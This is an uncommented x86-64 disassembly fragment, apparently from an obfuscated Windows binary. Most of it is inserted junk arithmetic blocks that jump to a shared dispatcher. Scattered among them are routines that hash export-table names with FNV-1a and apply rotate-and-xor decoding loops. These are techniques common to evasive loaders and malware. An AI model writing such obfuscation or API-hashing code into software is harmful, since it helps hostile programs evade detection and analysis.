jb 0x1400e7914
push rax
pushf
mov eax, 0xaad7ff87
pushf
not eax
add eax, 0xa613f0c6
xor eax, 0xb35b7e51
rol eax, 0x75
popf
pushf
not eax
add eax, 0x9b020ee9
xor eax, 0x9d9902d7
rol eax, 0x49
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xc207beaa
pushf
not eax
add eax, 0x9a25fe3e
xor eax, 0xb62eb1d9
rol eax, 0x7f
popf
pushf
not eax
add eax, 0x944a9bc0
xor eax, 0xb35b2ea5
rol eax, 0xc5
popf
pushf
not eax
add eax, 0x9a89c067
xor eax, 0xcdee7869
rol eax, 0xef
popf
jmp 0x1400e4a92
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x90]
mov edx, dword [rdx + 0x20]
push rcx
not rcx
sub rdx, rcx
pop rcx
sub rdx, 1
mov edx, dword [rdx + rax*4]
mov r8d, edx
movzx edx, byte [rcx + r8]
test dl, dl
je 0x1400e79ce
push rax
pushf
mov eax, 0xf44e1c2d
pushf
not eax
add eax, 0xb4efda20
xor eax, 0xe00343ec
rol eax, 0x3e
popf
pushf
not eax
add eax, 0x86c40fd7
xor eax, 0xbeb04687
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xabd7b6f3
xor eax, 0xab2b5be0
rol eax, 0x21
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xc3249582
pushf
not eax
add eax, 0xa6c0890c
xor eax, 0xa0c8dc8d
rol eax, 0x22
popf
pushf
not eax
add eax, 0xcd3861dc
xor eax, 0xbfe065ca
rol eax, 0xd3
popf
jmp 0x1400e4a92
push r8
not r8
sub rcx, r8
pop r8
sub rcx, 1
inc rcx
mov r9d, 0xd0cf1eea
pushf
not r9d
add r9d, 0xce440a73
xor r9d, 0xbfccc543
rol r9d, 0xf0
popf
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x81c19fd0
pushf
not eax
add eax, 0xf30ef61c
xor eax, 0xc9a9689c
rol eax, 0xd2
popf
pushf
not eax
add eax, 0xde03c071
xor eax, 0xbf98a0d5
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xd1641937
xor eax, 0xaec5db1d
rol eax, 0x66
popf
jmp 0x1400e4a92
movsx edx, dl
xor edx, r9d
imul r9d, edx, 0x1000193
movzx r10d, byte [rcx]
inc rcx
mov edx, r10d
mov r8d, r9d
test r10b, r10b
jne 0x1400e7ad5
push rax
pushf
mov eax, 0x6d427730
pushf
not eax
add eax, 0x90daa00d
xor eax, 0x85a7f824
rol eax, 0xad
popf
pushf
not eax
add eax, 0xc219e504
xor eax, 0xc1bad03c
rol eax, 0x4c
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x4e5c4f42
pushf
not eax
add eax, 0xee582f7d
xor eax, 0xe0bcfbf6
rol eax, 0xe3
popf
pushf
not eax
add eax, 0x84531092
xor eax, 0x8adc322e
rol eax, 0x4f
popf
jmp 0x1400e4a92
jmp 0x1400e784b
mov qword [rsi + 8], rax
push rax
pushf
mov eax, 0x85d7ce16
pushf
not eax
add eax, 0xf1b3ea1c
xor eax, 0x978ef419
rol eax, 1
popf
pushf
not eax
add eax, 0xcb3151c4
xor eax, 0xd4eb818a
rol eax, 0xcc
popf
jmp 0x1400e4a92
mov rdx, qword [rsi]
movsxd rax, dword [rsi + 0x10]
dec rax
lea rcx, [rax + rax*2]
mov r8, qword [rsi + rcx*8 + 0x28]
mov r9, qword [rsi + rcx*8 + 0x18]
mov dword [rsi + 0x10], eax
test r9, r9
je 0x1400e7bba
push rax
pushf
mov eax, 0xe7169eb1
pushf
not eax
add eax, 0xa12a30bf
xor eax, 0xba20120d
rol eax, 0x91
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x461771e4
pushf
not eax
add eax, 0xafac7339
xor eax, 0xeafd56ea
rol eax, 0x24
popf
pushf
not eax
add eax, 0xf126972f
xor eax, 0xcce26f39
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xb5875f93
xor eax, 0xf2f770cb
rol eax, 0xa6
popf
jmp 0x1400e4a92
lea r10, [r8 + 4]
cdqe
lea rcx, [rax + rax*2]
mov rax, qword [rsi + rcx*8 + 0x20]
mov r11, qword [rsi + rcx*8 + 0x28]
mov ecx, eax
mov edi, edx
mov ebx, eax
sub ebx, edx
mov ecx, r11d
mov edi, r10d
sub edi, r11d
add edi, 4
mov ecx, edi
mov edi, ebx
rol edi, cl
cmp edi, dword [r8 + 4]
je 0x1400e7c6b
push rax
pushf
mov eax, 0xda5c65b3
pushf
not eax
add eax, 0xab69d659
xor eax, 0xb78618d5
rol eax, 0xca
popf
pushf
not eax
add eax, 0xbdf47ce7
xor eax, 0x9082bb4c
rol eax, 0xcf
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0x47684be0
pushf
not eax
add eax, 0xef16d90a
xor eax, 0xdc636543
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xbef46822
xor eax, 0xc10d73e1
rol eax, 0xa3
popf
jmp 0x1400e4a92
xor ecx, ecx
mov rdi, rax
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0xc5b270d8
pushf
not eax
add eax, 0xebc9e30f
xor eax, 0xf93b5bb5
rol eax, 0x50
popf
pushf
not eax
add eax, 0x8d622178
xor eax, 0xefa9eb6a
rol eax, 0x67
popf
pushf
not eax
add eax, 0xff67829e
xor eax, 0xc392f29f
rol eax, 0x3d
popf
jmp 0x1400e4a92
mov r11, rdi
mov rdi, rcx
mov eax, edi
mov rbx, qword [r11 + rcx]
mov qword [r9 + rcx], rbx
movsxd rcx, dword [rsi + 0x10]
lea rcx, [rcx + rcx*2]
mov ecx, dword [rsi + rcx*8 + 0x20]
mov r11d, edx
sub ecx, edx
ror rbx, cl
mov qword [r9 + rdi], rbx
movsxd rcx, dword [rsi + 0x10]
lea rcx, [rcx + rcx*2]
mov r14, qword [rsi + rcx*8 + 0x20]
mov rcx, qword [rsi + rcx*8 + 0x28]
sub rcx, rdx
mov r15, rcx
mov ecx, edi
ror r15, cl
sub r14, rdx
mov ecx, r15d
rol r14, cl
xor r14, rbx
mov qword [r9 + rdi], r14
mov rax, rdi
add rax, 8
movsxd rcx, dword [rsi + 0x10]
lea rcx, [rcx + rcx*2]
mov rbx, qword [rsi + rcx*8 + 0x20]
mov rcx, qword [rsi + rcx*8 + 0x28]
mov rdi, rbx
mov ebp, ebx
sub ebp, edx
mov r11, rcx
mov ebx, r10d
sub ebx, ecx
add ebx, 4
mov ecx, ebx
mov ebx, ebp
rol ebp, cl
xor ebp, dword [r10]
mov r14d, ebp
mov rcx, rax
cmp rax, r14
jb 0x1400e7dbe
push rax
pushf
mov eax, 0xc6176eac
pushf
not eax
add eax, 0x885326b2
xor eax, 0xeda528b0
rol eax, 0xb5
popf
pushf
not eax
add eax, 0xaedb15a7
xor eax, 0x983671d4
rol eax, 0xb5
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xde2d8756
pushf
not eax
add eax, 0xfad3a77a
xor eax, 0xf3106f4b
rol eax, 0xa5
popf
pushf
not eax
add eax, 0x83906269
xor eax, 0x8cc67599
rol eax, 0x3f
popf
jmp 0x1400e4a92
mov eax, r11d
mov ecx, r8d
sub ecx, r11d
add ecx, 4
rol ebx, cl
mov eax, ebx
xor eax, dword [r8]
cmp eax, 2
jb 0x1400e7e40
push rax
pushf
mov eax, 0xc74a7aa0
pushf
not eax
add eax, 0xf9bc2d96
xor eax, 0xec84f808
rol eax, 0xa9
popf
pushf
not eax
add eax, 0x8b6b79fd
xor eax, 0xa1797e3f
rol eax, 0xee
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xa3b04cea
pushf
not eax
add eax, 0xb6f9099b
xor eax, 0xc9dd7689
rol eax, 0x86
popf
pushf
not eax
add eax, 0xf22f319f
xor eax, 0xecbca325
rol eax, 0x43
popf
jmp 0x1400e4a92
mov eax, eax
shl rax, 4
add rax, 0xfffffffffffffff0
xor r10d, r10d
nop word cs:[rax + rax]
push rax
pushf
mov eax, 0x2deff379
pushf
not eax
add eax, 0xdcda85d1
xor eax, 0xaaaf2a6d
rol eax, 0x20
popf
pushf
not eax
add eax, 0xe1611e8e
xor eax, 0xc61b6653
rol eax, 0x6a
popf
jmp 0x1400e4a92
lea rcx, [r8 + r10]
movsxd r11, dword [rsi + 0x10]
lea r14, [r11 + r11*2]
mov edi, dword [rsi + r14*8 + 0x20]
mov r11d, edx
sub edi, edx
mov ebx, ecx
sub ebx, dword [rsi + r14*8 + 0x28]
mov r14d, ebx
mov ecx, ebx
add ecx, 0x20
mov ebp, edi
mov r15d, edi
rol r15d, cl
mov r12d, ebx
mov r13d, edi
lea ecx, [r14 + 0x14]
xor r15d, dword [r8 + r10 + 0x1c]
rol ebp, cl
lea ecx, [r12 + 0x1c]
xor ebp, dword [r8 + r10 + 0x10]
rol r13d, cl
xor r13d, dword [r8 + r10 + 0x18]
push rdx
not edx
sub r15d, edx
pop rdx
sub r15d, 1
mov ecx, r9d
push r9
not r9d
sub ebp, r9d
pop r9
sub ebp, 1
push r13
not r13d
sub ebp, r13d
pop r13
sub ebp, 1
sub r15d, ebp
add ebx, 0x18
mov ecx, ebx
rol edi, cl
xor edi, dword [r8 + r10 + 0x14]
mov ecx, edi
mov dword [r9 + rcx], r15d
mov rcx, r10
add rcx, 0x10
mov r10, rcx
cmp rax, rcx
jne 0x1400e7fa4
push rax
pushf
mov eax, 0x21b4dfab
pushf
not eax
add eax, 0xe6167155
xor eax, 0x8fbc0715
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xe66d2a59
xor eax, 0xfed4a719
rol eax, 0x98
popf
pushf
not eax
add eax, 0x92e78298
xor eax, 0xc2e01eb7
rol eax, 0x68
popf
jmp 0x1400e4a92
push rax
pushf
mov eax, 0xfe986410
pushf
not eax
add eax, 0xc2a111c7
xor eax, 0xb892af7d
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xd6aa4744
xor eax, 0xfd7c54db
rol eax, 0xc9
popf
jmp 0x1400e4a92
add rsp, 0xf8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret